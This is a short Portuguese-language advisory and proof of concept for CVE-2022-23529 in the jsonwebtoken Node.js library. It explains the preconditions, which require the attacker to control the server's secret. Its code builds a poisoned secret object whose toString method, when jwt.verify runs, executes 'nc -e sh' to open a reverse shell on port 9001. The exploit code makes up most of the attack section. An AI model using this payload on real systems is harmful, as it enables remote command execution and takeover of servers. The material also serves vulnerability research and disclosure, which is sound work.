CVE-2022-23529

As versões da biblioteca JSON Web Token (JWT) anteriores a 3.4.6, 4.0.4 e 4.1.5 são vulneráveis a RCE.

As funções de hash HMAC aceitam qualquer string como entrada, o que leva a RCE.

Devido às pré-condições, essa vulnerabilidade não é provável de ser explorável.

Para explorar essa vulnerabilidade, um atacante precisaria que uma das seguintes condições fosse verdadeira:

• O servidor não armazena chaves secretas de forma segura.
• O atacante precisa ter acesso e controle das chaves secretas.

npm install [email protected]

var jwt = require('jsonwebtoken');

criar um token usando o segredo do servidor

var token = jwt.sign({"x":"y"}, 'servers_secret');

criar objeto malicioso contendo um reverse shell (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

servidor verifica o token usando objeto malicioso armazenado como segredo

jwt.verify(token, poisoned_secret_on_server);